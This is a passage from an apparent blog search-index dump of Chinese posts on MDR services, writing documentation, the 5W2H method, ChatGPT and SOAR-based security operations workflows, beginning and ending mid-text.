Gartner认为MSS和MDR是交集的关系，MSS尚不会完全覆盖MDR服务。两者之间最大的区别在于，MSS服务在发现威胁或告警的时候，会通知企业自行处置，而MDR则会利用自身的技术去完成对威胁的检测，帮助企业完成响应和处置的工作。不过，随着托管安全服务的发展，这两种服务之间的界限越来越模糊，很多MSS厂商也开始提供MDR服务。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-11-12-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E8%AE%A4%E8%AF%86%E6%89%98%E7%AE%A1%E5%A8%81%E8%83%81%E6%A3%80%E6%B5%8B%E4%B8%8E%E5%93%8D%E5%BA%94mdr/","summary":"\u003cp\u003e随着数字化转型加速，企业的IT环境日益复杂，面临的网络安全威胁也在不断增加。传统的防御措施已经无法有效应对新型威胁，而且很多企业缺乏专业的网络安全团队和技术手段，导致大量的安全事件未能及时被发现和处理。\u003c/p\u003e","title":"网络安全之认识托管威胁检测与响应（MDR）"},{"content":"在当今数字化的世界中，软件开发行业正经历着前所未有的繁荣。从移动应用到大型企业系统，软件构建了现代社会的基础。在IT行业中，文档是一种非常重要的沟通工具。它可以帮助程序员和客户及团队成员之间进行有效的沟通和协作，提高工作效率和项目成功率。然而，许多程序员往往忽视了文档的重要性，认为只要代码写得很好就可以了。但实际上，一个优秀的程序员不仅需要精通编码，还需要具备良好的文档编写能力。\n大家都知道文档实际上是软件项目交付物中很重要的一部分，但部分的程序员不愿意写文档，或是应付式的写文档，导致输出的文档质量很差。主要原因包括，有些程序员可能没有意识到文档的价值；一些程序员可能更偏向于技术，对文档编写感到不感兴趣，认为编写文档不如编写代码来得具有挑战性或令人满足；编写文档通常需要额外的时间和精力，程序员可能面临紧迫的项目期限，导致他们倾向于专注于编写代码，而不愿意分配时间来编写文档；有时程序员可能不清楚文档的受众需求，因此不知道要写什么内容，往往输出的文档质量不高。\n一、程序员为什么要写文档 提高沟通和合作能力 文档是程序员与同事、客户和其他利益相关者之间进行沟通的重要工具。通过编写文档，程序员可以更好地理解项目需求、系统设计和功能实现等方面，从而更好地与团队成员协作。同时，良好的文档也有助于其他人更好地理解代码的结构和实现，从而提高沟通和合作能力\n提升工作效率 编写文档可以帮助程序员更好地组织和规划工作，避免重复劳动和浪费时间。通过文档，程序员可以记录代码实现、功能需求、测试用例等内容，以便后续维护和修改。同时，良好的文档也可以帮助其他团队成员更快地适应代码并避免错误，从而提高工作效率。\n增强软件的可维护性 良好的文档可以使代码更容易被理解和维护。当其他开发者需要维护或修改代码时，他们可以通过文档快速了解代码的结构、功能和实现细节，从而更快地投入工作。同时，文档也可以帮助团队成员更好地理解代码的实现思路和逻辑，从而更好地维护代码。\n降低项目风险 在项目开发中，风险是不可避免的。通过编写文档，程序员可以记录项目中的关键决策、架构设计、数据流程等信息，以便在项目出现问题或风险时进行参考和排查。这有助于降低项目风险，提高项目的稳定性和可靠性。\n提高职业竞争力 在当今竞争激烈的IT行业中，具备良好文档编写能力的程序员更有可能得到公司领导和客户的青睐。通过编写高质量的文档，程序员可以展示自己的技术能力和综合素质，从而增强自己的职业竞争力。同时，良好的文档编写能力也可以帮助程序员更好地规划和总结自己的工作成果，为未来的职业发展打下基础。\n二、程序员在工作中都要写哪些文档 作为程序员，平时需要写的文档可能包括以下几种：\n需求文档：根据客户需求或项目要求，编写需求文档，明确产品或项目的功能需求、性能要求、界面要求等。 技术方案文档：根据项目需求和实际情况，编写技术方案文档，包括技术选型、架构设计、模块划分、数据流程等内容。 详细设计文档：根据技术方案和需求文档，编写详细设计文档，包括代码结构、接口定义、算法实现、异常处理等内容。 用户手册：针对最终用户编写用户手册，包括产品或系统的安装、配置、使用、操作指南等内容。 维护文档：针对项目维护人员编写维护文档，包括系统部署、升级、故障排查、性能优化等内容。 测试文档：编写测试文档，包括测试计划、测试用例、测试结果等内容，用于记录和跟踪测试过程。 版本说明文档：针对软件版本更新编写版本说明文档，包括新功能、修复的问题、已知的问题等内容。 安装手册：针对软件安装过程编写安装手册，包括系统要求、安装步骤、配置参数等内容。 这些文档的编写可以帮助程序员更好地理解项目需求和设计思路，提高代码的质量和可维护性，同时也有助于团队成员之间的沟通和协作。\n三、程序员写文档常见问题 程序员在写文档的过程中常见的问题包括内容不清晰、不完整、不规范、缺乏实例、文档更新不及时等。\n文档内容不清晰：有些程序员在编写文档时，可能没有清晰地表达自己的想法，导致文档读者难以理解。这可能是因为程序员没有充分理解自己的想法，或者没有足够的写作技巧。 档内容不完整：有些程序员在编写文档时，可能没有提供足够的信息，导致读者无法全面理解文档内容。这可能是因为程序员没有充分了解读者的需求，或者没有足够的耐心和细心。 文档格式不规范：有些程序员在编写文档时比较随意，可能没有遵循公司或团队的文档编写标准，导致文档格式不规范。这可能会影响文档的可读性和可维护性。 文档缺乏实例：有些程序员在编写文档时，可能没有提供足够的实例或代码片段，导致读者难以理解文档内容。这可能是因为程序员没有足够的实践经验，或者没有足够的耐心和细心。 文档更新不及时：有些程序员在编写文档后，可能没有及时更新文档内容，导致文档与实际情况不符。这可能会影响读者的理解和使用效果。 四、程序员如何在工作中提高文档能力 增加阅读量：阅读是提高写作能力的基础。程序员可以通过阅读技术文档、用户手册、产品说明书等文档，学习其他人的写作技巧和表达方式，从而提升自己的写作能力。 提高写作技巧：写作需要实践和经验积累。程序员可以通过编写技术博客、参与开源项目、编写技术书籍等方式，锻炼自己的写作技巧和表达能力。这包括如何清晰地表达自己的想法、如何组织文档结构、如何使用适当的语言和风格等。 充分了解受众的需求：程序员在编写文档前，应该充分了解读者受众的需求和背景，以便提供适合受众的文档内容。 遵循文档编写标准：程序员在编写文档时，应该遵循公司或团队的文档编写标准，一般公司都会有项目各个阶段相对应的文档模板，这些模板是公司的最佳时间，基本上搭好了整个文档的目录架构，可以确保文档格式和内容的规范性。 提供足够实例：程序员在编写文档时，应该提供足够的实例或代码片段，以便读者更好地理解和应用文档内容。 参考优秀的文档：参考优秀的文档可以让程序员更好地了解其他人的写作技巧和表达方式，从而提升自己的写作能力。可以参考一些开源项目的文档、技术博客、专业书籍等。 及时更新文档：随着项目或产品的不断更新和变化，程序员要及时更新相关的文档，确保文档的准确性和时效性。 总之，提高文档编写能力需要不断地学习和实践。程序员应该注重阅读、练习写作、学习规范、注重逻辑性、参考优秀文档并及时更新文档等方面，从而不断提升自己的文档编写能力。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-11-07-%E4%B8%8D%E4%BC%9A%E5%86%99%E6%96%87%E6%A1%A3%E7%9A%84%E7%A8%8B%E5%BA%8F%E5%91%98%E4%B8%8D%E6%98%AF%E5%A5%BD%E7%9A%84%E7%A8%8B%E5%BA%8F%E5%91%98/","summary":"\u003cp\u003e在当今数字化的世界中，软件开发行业正经历着前所未有的繁荣。从移动应用到大型企业系统，软件构建了现代社会的基础。在IT行业中，文档是一种非常重要的沟通工具。它可以帮助程序员和客户及团队成员之间进行有效的沟通和协作，提高工作效率和项目成功率。然而，许多程序员往往忽视了文档的重要性，认为只要代码写得很好就可以了。但实际上，一个优秀的程序员不仅需要精通编码，还需要具备良好的文档编写能力。\u003c/p\u003e","title":"不会写文档的程序员不是好的程序员"},{"content":"5W2H分析法又叫七问分析法，创于二战中美国陆军兵器修理部。发明者用五个以W开头的英语单词和两个以H开头的英语单词进行设问，发现解决问题的线索，寻找发明思路，进行设计构思，从而搞出新的发明项目。5W2H简单、方便，易于理解，实用，富有启发意义，广泛用于企业管理和技术活动，对于决策和执行性的活动措施也非常有帮助，也有助于弥补考虑问题的疏漏。\n这种方法的核心思想是将问题或任务分解为七个关键方面的问题，以确保全面思考和计划。下面是这些关键方面的解释： 1.What (做什么): 这个问题涉及明确任务或目标的性质，需要完成什么工作。它帮助定义任务的本质。 2.Why (为什么): 这个问题涉及理解为什么需要完成这项任务或目标，它的动机和目的是什么。它帮助明确任务的意义和价值。 3.Who (何人做): 这个问题涉及确定谁将执行任务或项目，涉及到相关的利益相关者或责任人。 4.When (何时做): 这个问题涉及确定任务或项目的时间表，包括起始时间、截止时间和任何关键时间点。 5.Where (何处做): 这个问题涉及确定任务或项目在哪里完成，涉及到地点或地理位置。 6.How (怎么做): 这个问题涉及确定任务或项目如何完成，包括所需的方法、工具和流程。 7.How much (多少): 这个问题涉及确定任务或项目的成本、资源需求和预算。 5W2H分析法被广泛用于项目管理、决策分析、计划制定以及解决各种实际问题。这个方法有助于组织和个人更好地理解任务的各个方面，并有效地进行规划和执行。同时，5W2H分析法也可以应用于个人工作和生活中，帮助人们更好地解决问题和做出决策。 在项目管理中，5W2H分析法可以应用于以下几个方面：\n1.项目计划制定：在项目计划制定阶段，可以使用5W2H分析法来确保计划的全面性和具体性。例如，可以回答以下问题：\nWhat：项目的目标是什么？需要完成哪些任务？ When：项目的周期是什么？每个阶段的时间节点是什么？ Where：项目实施的地点在哪里？需要哪些资源？ Who：谁来负责项目的实施？需要哪些人员和团队？ Why：为什么需要实施这个项目？它的意义和目的是什么？ How：如何实施这个项目？需要采取哪些方法和措施？ How much：项目的预算是多少？需要投入哪些资源和成本？ 2.项目问题诊断与解决：在项目实施过程中，可以使用5W2H分析法来诊断和解决遇到的问题。例如，可以回答以下问题：\nWhat：问题的具体内容是什么？对项目的影响是什么？ When：问题发生的时间是什么时候？影响了哪些阶段的任务？ Where：问题发生的地点在哪里？影响了哪些区域的工作？ Who：谁来负责解决问题？需要哪些人员的支持和协助？ Why：为什么会出现这个问题？根源是什么？ How：如何解决问题？需要采取哪些措施和方法？ How much：解决问题需要投入多少资源和成本？对项目预算的影响是什么？ 3.项目决策支持：在项目实施过程中，可以使用5W2H分析法来评估各种选项的优缺点，为决策提供支持。例如，可以回答以下问题：\nWhat：决策的具体内容是什么？对项目的影响是什么？ When：决策的时机是什么时候？需要在哪个阶段做出决定？ Where：决策的地点在哪里？需要在哪个区域进行讨论和决策？ Who：谁来负责做出决策？需要哪些人员的支持和协助？ Why：为什么需要做出这个决策？对项目的意义和目的是什么？ How：如何做出决策？需要采取哪些方法和程序？ How much：决策需要投入多少资源和成本？对项目预算的影响是什么？ 4.项目风险评估：在项目实施过程中，可以使用5W2H分析法来识别和分析潜在的风险，以及制定相应的应对措施。例如，可以回答以下问题：\nWhat：潜在的风险是什么？对项目的影响是什么？ When：风险可能发生的时间是什么时候？需要在哪个阶段进行预警和应对？ Where：风险可能发生的地点在哪里？需要在哪个区域进行防范和控制？ Who：谁来负责识别和分析风险？需要哪些人员的支持和协助？ Why：为什么会出现这个风险？根源是什么？ How：如何应对这个风险？需要采取哪些措施和方法？ How much：应对风险需要投入多少资源和成本？对项目预算的影响是什么？ 5.项目总结与经验教训总结：在项目完成后，可以使用5W2H分析法来总结项目的经验和教训，为今后的项目提供参考。例如，可以回答以下问题：\nWhat：项目的目标和成果是什么？有哪些关键的阶段和任务？ When：项目的时间轴是怎样的？有哪些重要的时间节点和里程碑事件？ Where：项目的实施地点是怎样的？有哪些关键的区域和工作场所？ Who：谁参与了项目的实施？有哪些人员和团队做出了重要贡献或产生了影响？ Why：为什么项目能够成功或失败？有哪些关键因素或原因导致了这个结果？ 5W2H分析法在个人工作中的应用场景也是非常广泛的，例如：\n制定个人计划：在制定个人计划时，可以使用5W2H分析法来确保计划更加全面和具体，包括设定目标、分解任务、安排时间、评估资源、确定人员和评估成本等。 解决问题：在解决问题时，可以使用5W2H分析法来分析问题的各个方面，包括问题的原因、影响、解决方案、实施步骤和资源需求等。 做出决策：在做出决策时，可以使用5W2H分析法来评估各种选项的优缺点，包括选项的可行性、可靠性、经济性、社会效益和风险等。 项目管理：在项目管理中，可以使用5W2H分析法来制定项目计划、安排任务、协调资源、控制进度和评估质量等。 个人时间管理：在个人时间管理中，可以使用5W2H分析法来规划时间表、安排工作优先级、合理分配时间和评估工作效果等。 5W2H分析方法在实际生活中有很多应用例子，以下是其中两小个例子：\n1.计划一次周末旅行：\nWhy 为了放松身心，增加生活体验，提升生活质量。 What 去一个风景优美的地方，欣赏自然风光，享受户外活动。 Where 选择一个适合户外活动的旅游目的地，例如山区、海滩或森林。 When 选择一个周末，安排好出发时间和返回时间。 Who 和家人或朋友一起去，共同体验旅行的乐趣。 How 制定详细的旅行计划，包括交通方式、住宿、餐饮和活动安排。 How much 预算合理的旅行费用，包括交通费、住宿费、餐饮费和活动费用。 2.计划一次家庭装修：\nWhy 为了提升家庭的生活品质和舒适度，改善家庭环境。 What 进行一次全面的家庭装修，包括水电改造、墙面地面装修、家具购置等。 Where 在家庭内进行装修，可能涉及多个房间和公共区域。 When 选择一个合适的时间段进行装修，例如假期或周末，合理安排工期。 Who 雇佣专业的装修公司或施工队伍进行装修，自己负责监督和协调。 How 制定详细的装修计划，包括材料采购、施工流程、装修风格和家具购置等。 How much 预算合理的装修费用，包括材料费、人工费、家具购置费等。 总之，5W2H分析法可以帮助个人在工作和生活中更加全面地思考问题，制定更加具体和可行的计划或决策，提高工作效率和质量。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-11-04-5w2h%E5%88%86%E6%9E%90%E6%B3%95%E5%85%A8%E9%9D%A2%E6%80%9D%E8%80%83%E5%92%8C%E8%A7%A3%E5%86%B3%E9%97%AE%E9%A2%98%E7%9A%84%E5%AE%9E%E7%94%A8%E5%B7%A5%E5%85%B7/","summary":"\u003cp\u003e5W2H分析法又叫七问分析法，创于二战中美国陆军兵器修理部。发明者用五个以W开头的英语单词和两个以H开头的英语单词进行设问，发现解决问题的线索，寻找发明思路，进行设计构思，从而搞出新的发明项目。5W2H简单、方便，易于理解，实用，富有启发意义，广泛用于企业管理和技术活动，对于决策和执行性的活动措施也非常有帮助，也有助于弥补考虑问题的疏漏。\u003c/p\u003e","title":"5W2H分析法：全面思考和解决问题的实用工具"},{"content":"\n最近大模型通用智能应用持续发酵，各大科技公司都陆续推出了基于通用大模型的智能应用产品，典型的如OpenAI的ChatGPT、微软的BingChat、百度的文心一言、360的智脑、阿里的通义千问等。当然最火的要属于ChatGPT了，从去年年底推出到现在已经有很多人体验了，并惊叹于如今的人工智能已经发展到无所不知、无所不能的程度了。\n市面上推出了很多介绍ChatGPT的书，覆盖了包括使用指南、原理说明、应用介绍等等各个方面。如果从一个以前从没了解过AI技术的小白想去初步了解ChatGPT不妨去看看《ChatGPT：人类新纪元》这本书。这本书是“搜狗输入法之父”，美团顾问，现任美团光年产品经理，被王兴称为“美团光年首席AGI布道师”马占凯马老师所著。虽然目前豆瓣评分6.8不算高，但是我个人认为作为ChatGPT的科普读物，包含了深入浅出的常识性的普及，以及对人工智能相关历史的概述和推演等，高度概括，其中还有很多有趣的故事，很好读，挺有价值的。这本书的定位就是科普，我觉得已经做到了。\n经过一段时间对ChatGPT的使用，我逐步认同书中对“ChatGPT：人类新纪元”的提法。ChatGPT，如同人类历史上的单向门——火、文字、造纸、蒸汽机、电和计算机一样，ChatGPT的横空出世让大家看到了通用人工智能达到了崭新新的高度，标志着人类科技进步的又一重大里程碑，预示着我们正步入通用人工智能的新纪元。就像2007年乔布斯发布划时代的苹果智能手机iphone后，各种互联网移动应用蜂拥而至，大家再也离不开智能手机了，从此开始了移动互联的新纪元。\n一、ChatGPT之初体验 对于一个码农，初接触ChatGPT时就想验证一下ChatGPT的编程功底，最近正好在研究用机器学习来识别心电图。如是问了一下ChatGPT如何用Python写一段心电图识别波形的代码。 看一下ChatGPT给我的答案： 关键是这段代码稍作调整就可以运行起来。\n看上去效果还不错！\n这可不是向搜素引擎一样搜出一堆的结果给出一堆的选项让我来选，而是真正的根据我的题意自己生成了一段可以执行的代码！这就有点牛逼了。\n原来一直以为码农毕竟还是干技术活的，不会像那些从事简单重复劳动的活一样被AI所替代。但是看到ChatGPT给我的答案，又更进一步的加深了我的焦虑。本来就很卷的IT行业，还要和通用人工智能卷，估计用不了多久码农这个职业就会要消失了。\n二、ChatGPT与搜索引擎 有人认为ChatGPT就是搜索引擎的升级版，输入一些信息机器就给你反馈一些经过精细过滤后的信息。ChatGPT与搜索引擎完全是两类不同的东西。差别就和智能手机与以前的功能手机一样大。\nChatGPT是通过海量的数据学习后，具备真正具有智能能力的，给出的内容是根据自身的学习自动生成的。也就是我们常说的生成式AI，是一种能够从其训练数据中学习并生成新的、类似的数据或模型的机器学习技术。这种方法不依赖于预先定义的规则或模式，而是通过自我学习和适应来改进其性能。\n与传统的AI相比，生成式AI的主要区别在于其学习方式和能力。传统的AI通常依赖于专家知识或编程指令来执行特定的任务。例如，一个图像识别系统可能被训练成只识别特定的图像类型，如猫或狗。然而，一旦这个系统遇到它从未见过的图像，它就无法做出正确的判断。\n相反，生成式AI可以通过自我学习和适应来提高其性能。即使它从未见过某种类型的数据，它也可以通过分析大量的类似数据来学习如何处理这种数据。例如，ChatGPT通过海量的数据学习可以自动生成给出符合题意的答案。\n而搜索引擎甚至连传统的AI都算不上，只是通过大数据的搜索算法将符合搜索条件的信息查询后返回到你，你还要根据自己的判断去识别和删选有用的信息。尤其是有了竞价模型后，可能搜索引擎给你的数据排名前几的都是对你来说没有什么用的，只是出价高的几个。\n三、机器学习与人类学习 机器学习其实是和人类学习是一样的。基本原理如下图所示： 机器学习的输入是海量的数据，通过模型的训练从数据中学习，生成并输出新的数据，根据输出的效果的进行评估和反馈来调整模型参数使模型的学习效果达到最优。\n人类学习也是一样的，平时我们努力大量的看书、看视频、看其他资料、与人交流，其实都是在获取信息，将信息输入至大脑后，大脑经过思考输出结果，结果是对世界的认知、对人生的看法、对专业知识的领悟、输出一篇论文、输出一次演讲等等。也是对自己输出的结果进行评估和反馈来强化学习效果。\n比如：学生通过大量的阅读和做题作为输入来学习知识，通过考试来评估学习效果，根据考试评估的结果来调整自己的学习方法策略来取得更好的学习成绩。\n我们也是一样的，要想提高自己的认知和能力，就要通过大量的阅读（输入）、思考（学习）、不断的反思（反馈评估）、不断的思考调整学习方法策略等（优化模型参数），最终提高自身的能力，可以有高水平的认知输出（输出）。\n四、智能涌现与从量变到质变 \u0026ldquo;智能涌现\u0026rdquo; 是一个涵盖广泛领域的概念，它描述了在复杂系统中，智能行为或性能如何从简单组件或个体之间的互动中产生或 \u0026ldquo;涌现\u0026rdquo; 出来。在机器学习中，神经网络和深度学习模型可以通过大量的神经元之间的互连来实现智能任务。\n在ChatGPT惊人的智能表现背后，就发生了智能涌现的现象。涌现现象是极为复杂的，因为复杂性科学就是复杂的，复杂是其基本特征。通俗的将就是当数据和模型参数达到一定的数量级后模型涌现出了新的完成任务的能力。\n目前，在大模型的智能涌现方面，有三个结论。 第一，我们不知道什么时候会涌现某种新能力； 第二，我们不知道到一定规模时会涌现哪一种新的能力。 第三，我们唯一知道的是，只要数据量足够大，训练得足够深，一定会有涌现发生。\n于是，我不禁又要拿出这张图： 这张图可以理解为从量变到质变的过程。在人类学习的过程中，学任何东西，如：学习英语，只要输入足够多通过大量的听说读写（数据量足够大），投入的时间精力够多（训练得足够深），一定会有拐点（涌现）发生，一定会成功，就像顿悟后开了挂一样。\n既然基于大模型的通用人工智能不可避免的来了，就让我们一起拥抱吧！\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-10-28-%E6%8B%A5%E6%8A%B1ai-chatgpt-%E4%BA%BA%E7%B1%BB%E6%96%B0%E7%BA%AA%E5%85%83/","summary":"\u003cp\u003e\u003cimg alt=\"ChatGPT\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2023/20231028/ChatGPTlogo.png\"\u003e\u003c/p\u003e\n\u003cp\u003e最近大模型通用智能应用持续发酵，各大科技公司都陆续推出了基于通用大模型的智能应用产品，典型的如OpenAI的ChatGPT、微软的BingChat、百度的文心一言、360的智脑、阿里的通义千问等。当然最火的要属于ChatGPT了，从去年年底推出到现在已经有很多人体验了，并惊叹于如今的人工智能已经发展到无所不知、无所不能的程度了。\u003c/p\u003e","title":"拥抱AI-ChatGPT:人类新纪元"},{"content":"SOAR是最近几年安全市场上最火热的词汇之一。各个安全产商都先后推出了相应的产品，但大部分都用得不是很理想。SOAR不同与传统的安全设备，买来后实施部署就完事，SOAR是一个安全运营系统，是实现安全运营过程中人、工具、流程的有效协同，提高安全运营效率的平台。核心在于运营，在运营的过程中不断结合自身企业的安全情况，对接设备、优化剧本流程、制定相应的制度来发挥SOAR安全事件编排自动化响应系统的最大的效果。在安全运营实战过程中人员、工具、流程、制度一个都不能少。本文介绍如何通过SOAR安全事件编排自动化响应进行实战化的安全运营。\n一、企业安全运营的通点 1. 手段不足，事件响应时间长 目前安全事件的处置常常需要涉及到不同部门、不同的安全设备之间的协同联动，依靠人工电话协同、邮件协同等手段，缺少统一的安全管理和自动化编排系统，不能将繁杂安全运行过程梳理为任务和剧本，把分散的安全工具与功能转化为可编程的应用和动作。人工方式协同事件长，效率低。\n2. 单兵作战，安全运营效率低 安全设备众多，多厂商多类型安全设备，无法有效的形成合力，每类设备都要有人单独的维护、监控、处置，无法形成合力。没有统一的运营系统，无法将团队、工具和流程的高度协同起来，覆盖安全运行的防护、检测、响应等各个环节，安全运营效率低。\n3. 人员匮乏,运营知识无积累 安全运营往往借助于外部的安全运营支撑力量，尤其是重保期间过度依赖厂商资源，重保结束后并没有形成知识积累；另一方面由于安全运营人员匮乏，技能水平受困于重复性劳动难以提升，而优秀的工程师的经验也难以形成标准化的流程和动作。\n二、企业安全运营的目标 针对威胁事件及安全运营痛点问题，通过建设安全编排功能实现自动化响应处置能力，完成原来需要多人多系统多界面在线协同才能处置的安全任务，简化威胁管理难度，提升响应处置效率，保障应急处置质量。从防护、检测、响应、处置等维度，形成立体防护效果，提升网络安全自动化响应处置及统一作战指挥能力。\n1. 实现多场景剧本编排能力 安全编排功能实现自动化响应处置，核心能力是要实现多场景的剧本灵活编排能力，通过可视化拖拽编排方式快速创建剧本，为安全处置提供上下文，避免传统运维要在不同页面间进行跳转切换，降低安全事件处置复杂度。剧本一旦创建成功启用，后续触发剧本的事件即可通过自动化方式进行处置，降低了不同部门间协同沟通、流程流转消耗的成本。解决现有安全事件处置依靠电话、邮件进行信息传递，依靠人工进行威胁处置慢的问题。\n2.具备灵活的设备对接能力 打通告警、事件与安全处置设备之间已有的壁垒，消除异构环境下异构设备无法协同、联动的问题，提供标准化的处置派单接口，实现设备的处置联动。具备低代码开发和编排能力使安全设备快速的融入到剧本流程进行灵活调度。解决异构安全设备间集成、联动处置的问题，实现多源异构安全设备的联动处置能力提升。\n3. 基于实际运营的知识积累 实现在安全运营过程的统一的数字化、标准化的安全运营管理流程，在实际的运营过程中将经验固化成剧本流程，以应对繁杂和重复的工作，降低安全事件处置管理成本，降低安全人员工作强度和工作经验能力等的高要求；记录安全事件数据，以可视化的形成评估处理结果，减少人员差异带来的不可控性，并减少对新安全运维分析人员的培训成本。\n三、SOAR的核心能力 安全事件处置通过安全编排与自动化响应SOAR模块实现，SOAR对接安全大数据分析引擎分析的产生的安全事件或其他如态势感知、日志系统等安全设备的安全事件，通过灵活的剧本编排实现自动的派发工单、自动化分析处置、联动设备响应，实现数据交互与业务同步，促进人、工具、流程的协同，进一步推动自动化安全运营能力落地。SOAR应该具备三大核心能力，编排、自动化、响应，参见《认识SOAR-安全事件编排自动化响应》\n编排 SOAR中的关键词是编排，这是在使用自动化和响应之前必须构建的关键组件。SOAR的编排体现的是一种协调和决策的能力，针对复杂性的安全事件，通过编排将分析过程中各种复杂性分析流程和处理平台进行组合。分析涉及多种数据或平台，如SIEM分析平台、漏洞管理平台、情报数据、资产数据等。处置响应的编排也涉及到很多平台或设备，如EDR管理平台、运维管理平台、工单管理平台、WAF设备、防火墙等。仅仅以技术为中心的安全保障已不再能满足现状，将人员和流程的编排才能保证安全流程真正高效的运行。SOAR的终极目标就是实现技术、流程、人员的无缝编排。\n自动化 SOAR的自动化体现在三个方面，面对需要处理的安全事件能够根据策略自动选择编排的剧本、自动执行剧本的操作流程、根据决策结果自动联动设备进行防护阻断等行动策略。它允许剧本（常称为Playbooks）在安全流程的部分或全部内容上执行多个任务，将线性剧本串联起来。虽然线性剧本可能更容易创建，但只适用于处理决策需求较少的工作流。编排和自动化比线性剧本的最大优势就是其灵活性，为支持全自动化和半自动化的决策，需要更加灵活的工作流和执行剧本。SOAR能够识别这些决策模式，并基于以往事件中的执行操作，自动推荐新事件的剧本、执行剧本操作流程，自动化分析决策，根据决策结果自动下发防护阻断的行动策略。\n响应 安全事件响应包括告警管理、工单管理、案件管理等功能。告警管理的核心不仅是对告警安全事件的收集、展示和响应，更强调告警分诊和告警调查。只有通过告警分诊和告警调查才能提升告警的质量，减少告警的数量。工单管理适用于中大型的安全运维团队协同化、流程化地进行告警处置与响应，并且确保响应过程可记录、可度量、可考核。案件管理是现代安全事件响应管理的核心能力。案件管理帮助用户对一组相关的告警进行流程化、持续化的调查分析与响应处置，并不断积累该案件相关的痕迹物证 (IOC) 和攻击者的战技过程指标信息 (TTP)。多个案件并行执行，从而持续化地对一系列安全事件进行追踪处置。\n四、SOAR的安全运营实战 SOAR的安全运营实战，是通过编排好的安全剧本实现人员、流程、工具与知识的贯穿，实现跨区域、跨组织、跨业务、跨设备（系统）安全事件高效运营。 在HW及日常安全运营工作中，针对安全设备的统一监控处置、员工办公电脑的安全告警处置、HW重保安全事件处置等典型场景已得到充分实战化应用，通过安全事件的统一管理，从防护、检测、响应、处置等维度，提高了处置效率。可以在实际的安全运营过程中不断的丰富和优化剧本流程。有效支撑网络安全事件运营工作持续向前发展。\n场景1：员工电脑中毒安全事件场景 员工电脑中毒安全事件主要是由员工办公终端电脑EDR检测出的病毒、木马后门等恶意软件，SOAR平台对EDR的告警数据进行统一的采集分析，形成场景化事件后通过SOAR进行告警通知，敦促员工对办公电脑进行杀毒处置。\n业务流程 该流程为自动化的流程，SOAR平台接收到员工中毒的安全事件信息后，自动发邮件或发短信通知员工，员工收到告警通知信息后对自己的办公终端电脑进行杀毒处理。如果三天内还没有处理，将继续发邮件或短信进行通知告警。 具体实战剧本流程如下图所示： 人员配置 人员配置如下表所示：\n序号 角色名称 所需技能 承担的工作内容 1 企业员工 能够维护自己的办公终端电脑完成自己办公终端电脑的安全。 进行杀毒软件的安装、病毒库升级、杀毒扫描。 场景2：安全设备告警安全事件场景 安全设备告警安全事件主要是由部署在网络环境下的主机安全检测设备、WAF、IPS、蜜罐等探针检测出的各类异常安全事件行为，SOC平台进行统一的采集、分析，最终形成场景化事件，进行派单处置的闭环管理。\n业务流程 1）一线监控人员发现在SOC平台上有触发的安全事件后，根据事件携带的原始安全日志信息进行初步研判分析； 2）如一线人员研判该事件为误报事件，则直接处置完成，同时记录事件相关的攻击特征值，进一步完善白名单； 3）如一线人员研判该事件为高风险事件，则将攻击IP地址报送至网络安全运营部安全员，由安全员进行IP地址封堵操作； 4）当网络安全运营部处置完毕后，通知一线监控人员结束该业务流程，最终形成闭环机制； 5）如一线人员无法研判该事件严重程度，则上升二线安全分析人员进行深入研判，二线安全分析人员将研判最终结果反馈至一线监控人员，再由一线监控人员根据实际情况选择下一步处置动作。 具体实战剧本流程如下图所示： 人员配置 人员配置如下表所示：\n序号 角色名称 所需技能 承担的工作内容 1 安全监控员 能够初步判断安全事件影响范围及基本的应急处理措施 完成简单安全事件的处置工作，督促业务部门完成安全事件处置，做好安全事件处置的全流程管控 2 二线运营员 能够根据安全数据上下文判断安全事件的可信度及影响范围，能够利用各种手段开展攻击溯源及应急响应 完成复杂安全事件的研判工作，为一线监控人员提供技术指导 3 部门安全员 能够掌握本部门各业务系统层面、主机层面的应急流程和实际处置操作方法 配合完成IP地址封堵操作 场景3：重保HW安全事件处置场景 重保HW安全事件主要是由包括WAF设备、VPN、蜜罐、EDR、全流量等各类安全设备检测出的对重点关注的重要靶标系统的各类攻击行为，SOAR平台对这些安全告警事件进行统一的采集、分析，最终形成场景化事件，通过SOAR进行派单调用相关的插件工具进行告警通知、资产判断、情报查询、IP封堵、协同相应的人员进行研判处置等的闭环管理。\n业务流程 1）监控人员发现安全事件后，根据事件携带的原始安全日志信息进行初步研判分析； 2）如研判组通过溯源研判该事件为误报事件，则直接处置完成，同时记录事件相关的攻击特征值，进一步完善白名单； 3）如研判组研判该事件为高风险事件，则转处置组进行处置，由处置人员进行确定通过插件自动化实现IP地址封堵操作； 4）处置组处置完成后进行封堵IP入库，避免被封堵IP的重复告警。 具体实战剧本流程如下图所示： 人员配置 人员配置如下表所示：\n序号 角色名称 所需技能 承担的工作内容 1 安全监控员 能够初步判断安全事件影响范围及基本的应急处理措施完成简单安全事件的处置工作，督促业务部门完成安全事件处置，做好安全事件处置的全流程管控 2 研判组 能够根据安全数据上下文判断安全事件的可信度及影响范围，能够利用各种手段开展攻击溯源及应急响应 完成复杂安全事件的研判工作，为一线监控人员提供技术指导 3 处置组 对IP进行封堵响应处置。 完成IP地址封堵操作 因为SOAR具有灵活定义剧本的能力，在实际的运营中可以根据自身企业的实际情况，为自身企业量身定制符合自身管理制度要求和人员配置情况的安全运营剧本流程，除了事件处置以外还可以编排如资产稽核管理剧本、暴露面清查剧本、漏洞管理剧本、安全设备巡检剧本等等。\n相关制度要求 (一) 企业应建立7*24小时网络安全监测和处置机制，对所辖网络设备和系统平台开展监测，对重要系统应开展专项监测，将安全监测和事件处置统一纳入安全运营中心，事件处置统一由SOAR安全事件编排自动化响应进行处置。\n(二) 应将安全工单纳入SOAR工单管控体系。安全运营支撑单位督促安全工单各环节责任人响应和处置,按流程进行超时工单升级，开展工单闭环管控。\n(三) 